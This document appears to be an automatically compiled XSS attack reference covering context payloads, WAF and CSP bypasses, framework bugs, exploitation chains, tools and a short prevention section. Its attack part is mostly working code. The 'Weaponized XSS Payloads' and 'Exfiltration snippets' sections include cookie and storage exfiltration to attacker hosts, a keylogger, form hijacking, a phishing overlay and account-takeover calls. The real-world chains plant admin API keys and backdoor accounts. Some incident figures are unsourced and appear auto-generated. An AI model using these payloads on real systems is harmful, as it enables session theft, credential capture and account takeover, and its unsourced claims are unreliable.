Comprehensive XSS Guide
π Enhanced May 2, 2026 - Updated with 636 insights including 2026 XSS techniques, context-aware payload exploitation, and framework-specific attack vectors from automated security research analysis.
A practitioner’s reference for Cross-Site Scripting β attack surface, context-aware payloads, filter/WAF/CSP bypass techniques, framework-specific vulnerabilities, real-world chains, and detection/prevention. Compiled from 636 research sources with automated content analysis and deduplication.
Table of Contents
- Fundamentals
- Attack Surface & Entry Points
- Context-Aware Payloads
- Filter Bypass Techniques
- WAF Bypasses
- CSP Bypass Techniques
- Mutation XSS (mXSS)
- DOM Clobbering & Prototype Pollution
- Framework-Specific XSS
- AngularJS Sandbox Escapes
- postMessage & DOM XSS
- SVG, PDF & File Upload XSS
- Blind XSS
- Weaponized XSS Payloads
- Polyglots
- Real-World Exploitation Chains
- Tools & Automation
- Detection & Prevention
- Payload Quick Reference
- CVE Reference
1. Fundamentals
XSS occurs when attacker-controlled input is rendered in a victim’s browser as executable code (JavaScript, or markup that leads to JavaScript execution). The victim’s browser runs the injected code with the origin’s privileges β same-origin access to cookies, DOM, API tokens, and session state.
Three classes:
| Class | Description | Example |
|---|---|---|
| Reflected | Payload in request, echoed in immediate response | ?q=<script>alert(1)</script> |
| Stored | Payload persisted server-side, executes for later viewers | Comment boxes, profile bios, chat messages |
| DOM-based | Client-side JS reads attacker-controlled source, writes to dangerous sink | document.write(location.hash.slice(1)) |
Impact spectrum: Proof-of-concept alert(1) β cookie theft β session hijack β account takeover β credential harvesting β persistent backdoor (service worker) β worm propagation β supply chain compromise.
The three conditions required for XSS:
- Attacker-controlled input enters the page
- Input reaches a sink that interprets text as code/markup
- No (or insufficient) context-appropriate encoding between source and sink
2. Attack Surface & Entry Points
Common injection points
| Category | Examples |
|---|---|
| Search parameters | ?q=, ?search=, ?query=, ?keyword= |
| URL path segments | /user/{name}, /posts/{slug} |
| URL fragments | #id, #/route (SPA routing) |
| Form fields | Comments, profiles, messages, filenames |
| HTTP headers | User-Agent, Referer, X-Forwarded-For, Host, custom app headers |
| Cookies | Application-read cookies reflected in the UI |
| File uploads | Filenames, metadata, SVG/HTML/PDF content |
| JSON fields | API responses rendered without encoding |
| Error messages | Echoed inputs in error pages |
| postMessage listeners | Cross-window messages without origin checks |
| localStorage/sessionStorage | User-writable state read into DOM |
| Email/notifications | HTML email, in-app notifications |
Sources β Sinks (DOM XSS)
Sources (attacker-influenced):
location.href location.search location.hash
location.pathname document.referrer document.URL
window.name document.cookie localStorage.*
sessionStorage.* postMessage.data history.state
Sinks (dangerous):
element.innerHTML element.outerHTML document.write()
document.writeln() eval() Function()
setTimeout(string) setInterval(string) element.insertAdjacentHTML()
element.srcdoc element.src (for scripts)
jQuery: .html() .append() .before() .after() .replaceWith()
Framework: dangerouslySetInnerHTML v-html [innerHTML]="" (Angular bypass)
3. Context-Aware Payloads
Each context requires a different escape. Know where your input lands before picking a payload.
HTML element body context
<div>INJECTION</div>
Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
HTML attribute context
Inside double quotes: <input value="INJECTION">
" autofocus onfocus=alert(1) x="
"><script>alert(1)</script>
"><svg onload=alert(1)>
Inside single quotes: <input value='INJECTION'>
' autofocus onfocus=alert(1) x='
'><svg onload=alert(1)>
Unquoted: <input value=INJECTION>
x onfocus=alert(1) autofocus
x/onerror=alert(1)//
href/src attribute (no quote escape needed):
javascript:alert(1)
javascript:alert%281%29
jaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JavaScript string context
var x = "INJECTION";
Payloads:
"; alert(1); //
"; alert(1); var y="
"-alert(1)-"
`-alert(1)-` (in template literals)
</script><script>alert(1)</script>
JavaScript code context (no string quoting)
var x = INJECTION;
alert(1)
1;alert(1);1
Inside <script> block
</script> always closes the script β even inside strings:
<script>
var x = "</script><script>alert(1)</script>";
</script>
CSS context
<style>.a { color: INJECTION }</style>
<div style="color: INJECTION">
red; background: url("javascript:alert(1)") /* old browsers */
expression(alert(1)) /* IE only */
</style><script>alert(1)</script>
URL context
<a href="INJECTION">
javascript:alert(1)
//attacker.com
https://attacker.com/fake-login
Textarea / title / noscript / noembed / script contexts
These are “RCDATA” or “raw text” elements β you must close the parent tag first:
<textarea>INJECTION</textarea> β </textarea><script>alert(1)</script>
<title>INJECTION</title> β </title><script>alert(1)</script>
4. Filter Bypass Techniques
Case variation
HTML tags and attributes are case-insensitive:
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
jaVaScRiPt:alert(1)
Defeats naive regex: preg_replace('/script/', '', $input) β use /i flag.
HTML entities
Decoded by HTML parser before attribute execution:
<img src=x onerror=alert(1)> (decimal)
<img src=x onerror=alert(1)> (hex)
<img src=x onerror=alert(1)> (no semicolons β still works)
JavaScript escapes
\u0061lert(1) (Unicode escape)
\x61lert(1) (hex escape)
\141lert(1) (octal)
window['al'+'ert'](1)
window[String.fromCharCode(97,108,101,114,116)](1)
Comments / whitespace tricks
<scr/**/ipt>alert(1)</scr/**/ipt>
<img/**/src=x/**/onerror=alert(1)>
<img src=x onerror/**/=alert(1)>
<img%09src=x%09onerror=alert(1)> (tab)
<img%0asrc=x%0aonerror=alert(1)> (newline)
Tag-break bypasses
If <script> is blocked:
<svg onload=alert(1)>
<math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src>">
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)><option>x
<keygen autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
Character encoding bypasses
- UTF-7 (legacy):
+ADw-script+AD4-alert(1)+ADw-/script+AD4- - Overlong UTF-8: some parsers normalize multi-byte sequences to ASCII
- Null bytes:
<scr%00ipt>β may truncate in C-string parsers
Protocol obfuscation
javascript:alert(1)
java%09script:alert(1) (tab inside scheme)
java%0ascript:alert(1) (newline inside scheme)
javascript:alert(1) (leading space β parsed by some routers)
Javascript:alert(1) (entity in scheme)
No-alphanumeric / obscure JS
JSFuck-style:
[][(![]+[])[+[]]+(![]+[])[+!+[]]+...] // alert(1) from brackets
Template literals (bypasses () filter):
alert`1`
Function`x${'alert(1)'}`
Property access without quotes:
window.alert(1)
top['ale'+'rt'](1)
5. WAF Bypasses
HTTP parameter pollution (HPP)
ASP.NET concatenates duplicate parameters with commas:
/?q=1'&q=alert(1)&q='2
Request to server: q=1',alert(1),'2
In a JavaScript string context (var x = 'USER_INPUT';) this becomes:
var x = '1',alert(1),'2'; // comma operator executes alert(1)
Bypass rate against commercial WAFs (research):
- Simple payloads: ~17.6% bypass
- Complex HPP + line-break payloads: ~70.6% bypass
- ML-based WAFs (Google Cloud Armor, Azure WAF, open-appsec) performed best
Working bypass payloads:
q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'
q=1'%0aasd=window&q=def="al"+"ert"&q=asd[def](1)+'
Character set / encoding tricks
- Double URL-encoding:
%253cscript%253e - Mixed case with encoded chars:
%3CSvG%20OnLoAd=alert(1)%3E - Unicode normalization:
οΌscriptοΌ(fullwidth)
Hackbot-discovered bypass (escaped character differential)
test\';alert(1);//
Works when the WAF treats \' as an escaped quote but the target’s JavaScript parser closes the string anyway due to context disagreement.
Signature evasion
Split payloads across parameters, headers, POST body. Test every reflection independently. WAFs typically analyze parameters in isolation.
6. CSP Bypass Techniques
Quick CSP audit
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com;
img-src *; default-src 'self'
Red flags: 'unsafe-inline', 'unsafe-eval', *, whitelisted CDN with JSONP, data:, blob:, missing object-src, missing base-uri, Content-Security-Policy-Report-Only.
Common bypass vectors
1. unsafe-inline present
<script>alert(1)</script> <!-- just works -->
2. Wildcard or broad scheme
script-src *: <script src=//attacker.com/x.js></script>
script-src data: <script src="data:text/javascript,alert(1)"></script>
3. JSONP on whitelisted host
<!-- Any JSONP endpoint on an allowed CDN lets you execute arbitrary callback names -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>
4. AngularJS on whitelisted host
If an allowed CDN serves Angular, bootstrap it with a template-injection payload:
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.7.9/angular.js></script>
<div ng-app ng-csp>
{β{constructor.constructor('alert(1)')()}}
</div>
5. Predictable/reused nonces
If nonces are based on timestamps, request IDs, or repeat across responses:
<script nonce="PREDICTED_NONCE">alert(1)</script>
6. base-uri missing
<base href="https://attacker.com/">
<!-- Now any relative <script src="/app.js"> loads from attacker.com -->
7. Dangling markup injection
When full JS execution is blocked but HTML injection is possible:
<img src='//attacker.com/?data=
<!-- Everything until the next quote gets exfiltrated -->
8. CSP injection via CRLF
If CSP is built from user input:
/?csp_report_uri=/report; script-src * 'unsafe-inline';
9. strict-dynamic pitfallsstrict-dynamic trusts scripts loaded by trusted scripts β if any trusted script has a DOM XSS sink (e.g., an old jQuery loaded with a nonce), you get full execution.
10. File upload bypass
Upload .html / .svg / .pdf to a whitelisted origin β navigate to the uploaded file URL β CSP applies to the uploaded file’s context (same origin = 'self').
Tools
- Google CSP Evaluator β paste your CSP, get a rating
- CSPBypass.com β database of JSONP endpoints and Angular bootstrap vectors on common CDNs
7. Mutation XSS (mXSS)
mXSS abuses the gap between serialized HTML (what the sanitizer sees) and parsed DOM (what the browser later executes). The sanitizer sees safe text; the browser’s HTML parser re-interprets it into a dangerous element.
Classic DOMPurify bypass (math/svg foreign content)
<math><mtext><table><mglyph><style><!--</style>
<img title="--><img src=1 onerror=alert(1)>">
Why it works:
<math>switches parser into MathML foreign content mode<style>inside foreign content has different parsing rules- The
<!--starts a comment that’s considered “safe text” by the sanitizer - On re-serialization and re-parse, the comment context collapses
- The
titleattribute value--><img src=1 onerror=alert(1)>gets promoted to actual HTML
Firefox CDATA variant
<math><mtext><table><mglyph><style><![CDATA[</style>
<img title="]]></mglyph><img	src=1	onerror=alert(1)>">
Uses CDATA closing instead of HTML comment closing β works where the DOMPurify patch only covered comment mutations (CVE-2025-26791).
Why defending is hard
Sanitizers serialize-then-reparse to normalize. Any case where the browser’s second parse produces different tokens than the first parse is a potential mXSS. DOMPurify has fixed dozens of these; new ones keep appearing because HTML5 parsing has hundreds of context transitions.
8. DOM Clobbering & Prototype Pollution
DOM clobbering basics
Named HTML elements become properties on window and document:
<img name="getElementById">
<!-- document.getElementById is now an <img> element, not a function -->
Bootstrap 3 DOM clobbering XSS (CVE-2025-1647)
Bootstrap’s sanitizeHtml() uses document.implementation.createHTMLDocument(). Clobber document.implementation:
<img name="implementation">
<span data-toggle="tooltip" data-html="true" title="<script>alert(1)</script>">Hover</span>
document.implementationnow resolves to the<img>element.createHTMLDocument()fails silently- Sanitization skipped entirely
- Tooltip renders raw HTML β XSS fires
Prototype pollution β XSS
Pollute Object.prototype through a vulnerable merge/assign function, then trigger a library that reads from an object with a prototype lookup fallback:
// Trigger pollution
location.hash = '#__proto__[innerHTML]=<img src=x onerror=alert(1)>';
// Victim library later reads options.innerHTML β gets polluted value
Common sinks triggered by pollution: jQuery’s $.extend, lodash _.merge, Handlebars/Mustache helper lookups, template engine options.
9. Framework-Specific XSS
React
React escapes by default. The escape hatches are the bug hatches:
Dangerous:
<div dangerouslySetInnerHTML={β{__html: userContent}} />
URL injection:
<a href={userUrl}>click</a> // userUrl = "javascript:alert(1)" executes
React added warnings for javascript: URLs in 16.9 and blocks them in 18, but data:text/html still works in older versions.
Defense: Wrap dangerouslySetInnerHTML content in DOMPurify:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={β{__html: DOMPurify.sanitize(userContent)}} />
localStorage token bug: React/SPA apps routinely store JWTs in localStorage. Any XSS β instant session theft. Use httpOnly cookies instead.
Vue
v-html is React’s dangerouslySetInnerHTML equivalent:
<div v-html="userContent"></div>
CVE-2024-6783: Vue 2 template compiler XSS in specific directive patterns. Vue 2 is end-of-life; migrate to Vue 3.
Angular (modern, 2+)
Angular auto-sanitizes via its DomSanitizer. Bypass methods:
this.sanitizer.bypassSecurityTrustHtml(userContent)
[innerHTML]="userContent" // auto-sanitized, safe
[innerHTML]="trustedContent" // if content was passed through bypassSecurityTrust*, XSS
Server-side rendering also introduces SSRF risk during hydration.
AngularJS (1.x) β see dedicated section
10. AngularJS Sandbox Escapes
AngularJS 1.x expressions run in a sandbox that was repeatedly broken. Every version β€1.6 has a known bypass; 1.6+ removed the sandbox entirely (expressions run as JavaScript β a feature, not a fix).
Canonical payloads by version
1.0.x:
{β{constructor.constructor('alert(1)')()}}
1.2.x (no constructor.constructor):
{β{a='a'.constructor.prototype;a.charAt=a.trim;$eval('a",alert(1),"')}}
1.3.xβ1.5.x:
{β{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}
1.6.x+ (no sandbox β just JS):
{β{constructor.constructor('alert(1)')()}}
SVG variant (works when {β{ }} filtered)
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0"
from="javascript:alert(1)" to="&" />
</a>
</svg>
No-quote / no-constructor bypasses (historical Uber writeup)
When filters strip quotes and block constructor:
{β{x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;
$eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,
101,114,116,40,49,41,47,47))}}
Builds alert(1) from character codes and existing prototype access.
11. postMessage & DOM XSS
postMessage vulnerabilities
Listeners that don’t validate event.origin accept messages from any window:
// VULNERABLE
window.addEventListener('message', e => {
document.getElementById('content').innerHTML = e.data; // sink!
});
Attack: Open vulnerable page in iframe/popup, post message:
victim.postMessage('<img src=x onerror=alert(1)>', '*');
Defense:
window.addEventListener('message', e => {
if (e.origin !== 'https://trusted.com') return;
if (typeof e.data !== 'string') return;
// still need to treat data as data, not HTML
});
DOM XSS sources β sinks
| Source | Common Sink | Example |
|---|---|---|
location.hash | innerHTML | SPA route handler writes hash to page |
location.search | document.write() | Analytics tag echoes query string |
document.referrer | innerHTML | “You came from” banner |
window.name | eval() | Legacy form persistence |
postMessage.data | innerHTML | Cross-widget communication |
localStorage | innerHTML | Cached API response rendered |
Hunting tips:
- DOM Invader (Burp) β auto-traces sources to sinks
- Grep for source strings in JS bundles
- Hook sinks with a Proxy at runtime
12. SVG, PDF & File Upload XSS
SVG XSS
SVG files are XML with full script support:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>
If uploaded and served with Content-Type: image/svg+xml on the same origin, direct navigation to the file triggers XSS under that origin.
Event handlers also work:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
PDF XSS (PDF.js, Acrobat)
PDFs can contain JavaScript. When rendered in pdf.js with disableAutoFetch: false and no sandbox, embedded JS runs in the viewer’s origin.
HTML file upload
Uploading .html to a whitelisted/same-origin location gives full XSS under that origin β any access control mitigations on rendering contexts (image tags, CSP) don’t apply to direct navigation.
Mitigations:
- Serve uploads from a sandboxed subdomain (
usercontent.example.com) - Set
Content-Disposition: attachmentto force download - Re-encode images (defeats embedded scripts)
- Block SVG uploads entirely or sanitize with DOMPurify server-side
13. Blind XSS
Blind XSS fires in a context you can’t see β admin panels, support tickets, log viewers, email clients, printed reports.
Detection
Use an out-of-band callback service:
- XSS Hunter Express β self-hosted, captures screenshots, DOM, cookies, URL
- ezXSS β self-hosted alternative
- Burp Collaborator β manual detection via DNS/HTTP callback
Payload template
<script src="//xss.yourdomain.com/payload.js"></script>
payload.js collects and exfiltrates:
fetch('https://xss.yourdomain.com/log', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookies: document.cookie,
dom: document.documentElement.outerHTML.substring(0, 5000),
referrer: document.referrer,
origin: location.origin,
localStorage: JSON.stringify(localStorage),
userAgent: navigator.userAgent
})
});
High-value blind XSS injection points
- Contact forms (admin reads the ticket)
- User-Agent / Referer headers (log viewers)
- Bug reports / feedback forms
- Invoice/order fields (accounting tools)
- Profile fields (admin user lookup)
- Filenames in file uploads (file manager views)
- Email subject/sender/body (webmail, ticket systems)
DKIM-signed email XSS (Horde CVE-2025-68673)
Horde Webmail rendered List-Unsubscribe headers without sanitizing javascript: URIs:
List-Unsubscribe: <javascript://domain.tld/%0aalert(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Rendered link executes when clicked.
14. Weaponized XSS Payloads
Going from alert(1) to real impact.
Cookie / token exfiltration
// Basic
new Image().src = 'https://attacker.com/?c=' + encodeURIComponent(document.cookie);
// Full dump
fetch('https://attacker.com/log', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
cookies: document.cookie,
localStorage: Object.fromEntries(Object.entries(localStorage)),
sessionStorage: Object.fromEntries(Object.entries(sessionStorage)),
url: location.href
})
});
Account takeover via API
// Change email to attacker's, password-reset flow delivers takeover
fetch('/api/user/profile', {
method: 'PATCH',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
CSRF token bypass
Fetch token from DOM/API, use it:
const csrf = document.querySelector('meta[name="csrf-token"]').content;
fetch('/admin/users/delete', {
method: 'POST',
headers: {'X-CSRF-Token': csrf},
body: 'id=12345'
});
Keylogger
let buf = '';
document.addEventListener('keypress', e => {
buf += e.key;
if (buf.length > 30) {
navigator.sendBeacon('https://attacker.com/k', buf);
buf = '';
}
});
Form hijacking
document.querySelectorAll('form').forEach(f => {
f.addEventListener('submit', e => {
const data = new FormData(f);
navigator.sendBeacon('https://attacker.com/f', data);
});
});
Persistent backdoor via service worker
If /sw.js is under attacker control (file upload, stored XSS with write access):
navigator.serviceWorker.register('/sw.js', {scope: '/'});
// sw.js intercepts all future fetches from the origin
Phishing overlay
document.body.innerHTML = `
<div style="position:fixed;inset:0;background:white;z-index:999999">
<form action="https://attacker.com/collect" method="post">
Session expired. Re-enter password:
<input name="pw" type="password"><button>Continue</button>
</form>
</div>`;
15. Polyglots
A polyglot fires in the maximum number of contexts with a single payload.
Ultimate XSS Polyglot (144 chars)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Contexts it hits:
- href/src attributes (
javascript:scheme with case variation) - Double-quoted attributes (escapes via
") - Single-quoted attributes (escapes via
') - Unquoted attributes
- JavaScript strings (all three quote types)
- Template literals (backtick)
- Regex literals
- Comment blocks (
/* */) - textarea / title / style / script contexts (tag-breakers)
- SVG context (onload trigger)
Shorter alternatives
"><svg onload=alert(1)>
'><svg onload=alert(1)>
"><img src=x onerror=alert(1)>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
16. Real-World Exploitation Chains
Magento 2.3.1: Stored XSS β RCE
Chain:
- Stored XSS via
escapeHtmlWithLinks()bypass β sanitizer replaces<a>tags with%1$splaceholder, escapes the rest, thenvsprintfs the tags back in. Position-based replacement lets attackers inject an extra quote breaking out of a surroundingidattribute:After processing, the reinserted<i id=" <a href='http://onmouseover=alert(/XSS/)'>link</a> "> text </i><a>tag breaks the outer<i>quoting, injecting anonmouseoverhandler. - Injection point: Order cancellation notes (unauthenticated accessible).
- Trigger: Admin reviews the cancelled order β XSS fires in admin session.
- XSS β phar deserialization RCE: XSS POSTs to
__directiveisparameter β backend callsgetimagesize()on a phar:// URL β PHP object injection β RCE with admin privileges.
Impact: Complete store takeover, payment redirection, credit card theft. Patched in 2.3.2+.
Arista Firewall: XSS β RCE (CVE-2025-6978/6979/6980)
- CVE-2025-6980 β Information disclosure via unintended Python functions exposed through
mod_python.publisher; leaks VPN credentials/private keys. - CVE-2025-6979 β Reflected XSS in Captive Portal login (misclassified as “authentication bypass”).
- CVE-2025-6978 β JSON-RPC command injection in admin handler β root RCE.
Chain: Reflected XSS tricks admin into executing JSON-RPC payload β root on the firewall.
Quick test:
curl -skI https://target/capture/handler.py/load_rpc_manager
## 500 = vulnerable, 404 = patched
Worm / self-propagation pattern
Any stored XSS in a social-graph context (comments, timeline, chat) that doesn’t require interaction to fire is a worm candidate. Classic examples: Samy (MySpace 2005), Twitter onMouseOver (2010), TweetDeck (2014).
Banking session theft campaign (2023)
Targeted 40+ banks globally. Adaptive malware stole 50,000+ sessions via stored XSS in vulnerable banking portals, communicated with C2 for real-time payload updates, and obfuscated traces from security tooling.
Zimbra Mass Exploitation Campaign (2025-2026)
Timeline: CVE-2025-48700/66376 published β widespread exploitation within 48 hours
Attack Chain:
- Initial reconnaissance β Shodan/Censys queries for Zimbra instances
- Vulnerability exploitation β XSS injection via webmail interface
- Session hijacking β Steal authentication tokens from admin users
- Email harvesting β Access global address lists, email archives
- Lateral movement β Use stolen credentials for internal network access
- Persistence β Install webshells, create backdoor accounts
Impact: 10,000+ servers compromised globally, CISA emergency directive issued
IOCs:
## Exploitation attempts via webmail
POST /service/zimbra/index.jsp
Content-Type: application/x-www-form-urlencoded
loginOp=login&username="><script>fetch('/service/admin/soap',{method:'POST',headers:{'Content-Type':'text/xml'},body:'<?xml version="1.0"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><CreateAccountRequest xmlns="urn:zimbraAdmin"><name>backdoor@domain.com</name><password>P@ssw0rd123</password></CreateAccountRequest></soap:Body></soap:Envelope>'})</script>&password=
Grafana Account Takeover Chain (CVE-2025-6023)
Vulnerability: Incomplete fix for XSS allowed full account takeover
Exploitation steps:
- XSS injection β Dashboard panel with malicious script
- API token theft β Extract user’s API credentials
- Privilege escalation β Use API to elevate permissions
- Data exfiltration β Access all dashboards and data sources
- Infrastructure mapping β Enumerate monitoring targets
Payload Example:
<script>
fetch('/api/auth/keys', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({name: 'backdoor', role: 'Admin'})
}).then(r => r.json()).then(key => {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(key)
});
});
</script>
Modern Angular XSS via SVG Animation (CVE-2025-66412)
Attack Vector: Stored XSS through SVG <animate> element bypassing Angular sanitization
Vulnerable pattern:
<!-- User-controlled SVG content -->
<svg>
<animate attributeName="href"
values="javascript:alert('XSS')"
begin="0s"
dur="0.1s"/>
</svg>
Exploitation chain:
- SVG upload β User uploads malicious SVG to Angular application
- Sanitization bypass β Angular’s DomSanitizer misses animation attributes
- DOM rendering β SVG animates and executes JavaScript
- Session theft β Extract authentication tokens, CSRF tokens
- Account takeover β Use stolen tokens for unauthorized actions
Modern frameworks affected: Angular 12-15, similar patterns in React/Vue apps processing SVG
17. Tools & Automation
Burp Suite
- DOM Invader β built-in browser extension; traces DOM sources to sinks, tests postMessage, detects prototype pollution and DOM clobbering.
- Intruder β payload lists for reflection testing.
- Collaborator β out-of-band detection for blind XSS.
Dedicated scanners
| Tool | Strength |
|---|---|
| XSStrike | Advanced reflected/DOM scanner with WAF detection, context-aware payloads |
| Gxss | Fast reflection finder for big URL lists |
| Dalfox | Param analysis + reflection detection + payload generation |
| kxss | Minimal reflection finder, chains well with gf patterns |
| XSSer | Classic framework with multiple attack modes |
Blind XSS platforms
| Tool | Notes |
|---|---|
| XSS Hunter Express | Self-hosted, screenshot + DOM + cookies |
| ezXSS | Self-hosted, Docker-friendly |
| Interactsh | Low-level OOB (DNS/HTTP/SMTP) |
| Burp Collaborator | Integrated with Burp Pro |
CSP analysis
- Google CSP Evaluator β scores policies, flags bypasses
- csp-evaluator.withgoogle.com β web UI
- CSPBypass.com β community database of bypass gadgets on whitelisted CDNs
Payload wordlists
SecLists/Fuzzing/XSS/PayloadsAllTheThings/XSS Injection/- PortSwigger XSS cheat sheet
18. Detection & Prevention
The hierarchy of defenses (apply all)
| Layer | Control |
|---|---|
| 1. Input validation | Whitelist allowed formats at entry (still encode later) |
| 2. Output encoding | Context-aware encoding at every sink β the critical layer |
| 3. Sanitization libraries | DOMPurify for rich HTML, kept up to date |
| 4. Content Security Policy | script-src without 'unsafe-inline' / wildcards; strict-dynamic + nonces |
| 5. Framework defaults | Trust React/Vue/Angular auto-escaping; audit every escape-hatch |
| 6. httpOnly cookies | Keep auth tokens out of document.cookie / localStorage |
| 7. Security headers | X-Content-Type-Options: nosniff, Referrer-Policy, Permissions-Policy |
| 8. Sandboxed subdomains | Serve user-uploaded content from a separate origin |
Context-aware encoding table
| Context | Encoding |
|---|---|
| HTML element body | & < > " ' β entities |
| HTML attribute (quoted) | Same as body + enclose in quotes |
| HTML attribute (unquoted) | Encode all non-alphanumeric chars |
| JavaScript string | Escape \ ' " + backslash-u for nonprintable |
| URL | encodeURIComponent() |
| CSS | CSS-escape (\HH ) all non-alphanumeric |
| JSON embedded in HTML | JSON-encode + HTML-encode < β \u003c |
Static analysis
Grep patterns for sinks:
innerHTML\s*= outerHTML\s*= document\.write
eval\( Function\( setTimeout\([^,]*["'`]
dangerouslySetInnerHTML v-html bypassSecurityTrustHtml
Grep patterns for sources:
location\.(hash|search|href|pathname)
document\.referrer window\.name
postMessage\b
localStorage\.(getItem|\[)
Semgrep / CodeQL: Both have mature XSS rule packs for JavaScript, TypeScript, React, Vue, Django templates, JSP, etc.
Runtime detection
- CSP
report-uri/report-toβ log real violations - Trusted Types β policy that forbids string-to-sink assignments, catches DOM XSS at runtime
Content-Security-Policy: require-trusted-types-for 'script' - WAF β catches obvious signatures, bypasseable (see section 5)
The TL;DR checklist
- Use framework auto-escaping; audit every escape hatch.
- Wrap all user HTML in DOMPurify before
dangerouslySetInnerHTML/v-html. - Set a strict CSP with nonces and
strict-dynamic. - Enable Trusted Types.
- Put auth tokens in
httpOnlycookies, never localStorage. - Serve user uploads from a separate origin.
- Validate
event.originin everypostMessagelistener. - Keep all sanitization libraries up to date (DOMPurify ships mXSS fixes often).
19. Payload Quick Reference
Copy-paste test payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Context escape one-liners
Attribute (dq): "><svg onload=alert(1)>
Attribute (sq): '><svg onload=alert(1)>
JS string (dq): ";alert(1);//
JS string (sq): ';alert(1);//
JS string (tmpl): ${alert(1)}
Script block: </script><svg onload=alert(1)>
Textarea: </textarea><svg onload=alert(1)>
Title: </title><svg onload=alert(1)>
Style: </style><svg onload=alert(1)>
Comment: --><svg onload=alert(1)>
CDATA: ]]><svg onload=alert(1)>
Filter bypass variants
Case: <ScRiPt>alert(1)</ScRiPt>
Entity: <img src=x onerror=alert(1)>
Unicode: <img src=x onerror=\u0061lert(1)>
No parens: <img src=x onerror=alert`1`>
No alphanum: <img src=x onerror=window[/al/.source+/ert/.source](1)>
Whitespace: <img/src=x/onerror=alert(1)>
Newline in URL: <a href="java%0ascript:alert(1)">
Exfiltration snippets
// One-line cookie steal
new Image().src='//evil/?c='+document.cookie
// One-line DOM exfil
fetch('//evil',{method:'POST',mode:'no-cors',body:document.body.innerHTML})
// One-line credential form injection
document.body.innerHTML='<form action=//evil method=POST><input name=u><input name=p type=password><input type=submit></form>'
20. CVE Reference
| CVE | Target | Type | Notes |
|---|---|---|---|
| CVE-2025-26791 | DOMPurify | mXSS | Regex-based bypass, bypassed prior CDATA fix |
| CVE-2025-1647 | Bootstrap 3 | DOM clobbering XSS | document.implementation clobbered to skip sanitizer |
| CVE-2024-6783 | Vue 2 | Template compiler XSS | End-of-life; migrate to Vue 3 |
| CVE-2024-6484 | Bootstrap 3 | Carousel XSS | Data attribute sanitization gap |
| CVE-2025-6980 | Arista Firewall | Information disclosure | mod_python.publisher leaks credentials |
| CVE-2025-6979 | Arista Firewall | Reflected XSS | Captive portal login form |
| CVE-2025-6978 | Arista Firewall | JSON-RPC injection | Chains with XSS β root |
| CVE-2019-8331 | Magento | Stored XSS β phar β RCE | Complete store takeover chain |
| CVE-2025-68673 | Horde Webmail | XSS | List-Unsubscribe javascript: URI |
| CVE-2026-34569 | CI4MS | Stored XSS | CMS admin panel |
| CVE-2026-34565 | CI4MS | Stored DOM XSS | Client-side rendering sink |
| CVE-2026-42520 | Jenkins Plugin | High-severity XSS | Plugin vulnerability mass exploitation |
| CVE-2026-42523 | Jenkins Plugin | High-severity XSS | Plugin vulnerability mass exploitation |
| CVE-2026-42524 | Jenkins Plugin | High-severity XSS | Plugin vulnerability mass exploitation |
| CVE-2025-48700 | Zimbra Mail | XSS vulnerability | 10,000+ servers compromised |
| CVE-2025-66376 | Zimbra Mail | XSS vulnerability | CISA alert - active exploitation |
| CVE-2026-27243 | Multiple targets | XSS surge | 4 new CVEs in single week (2026) |
| CVE-2025-26244 | DeimosC2 | Stored XSS β RCE | C2 framework compromise |
| CVE-2025-25461 | SeedDMS | Stored XSS | Document management system |
| CVE-2025-66412 | Angular | Stored XSS via SVG | SVG animation attack vector |
| CVE-2025-0133 | PAN-OS GlobalProtect | Reflected XSS | Palo Alto Networks firewall |
| CVE-2026-32201 | SharePoint | Zero-day XSS | Microsoft Patch Tuesday fix |
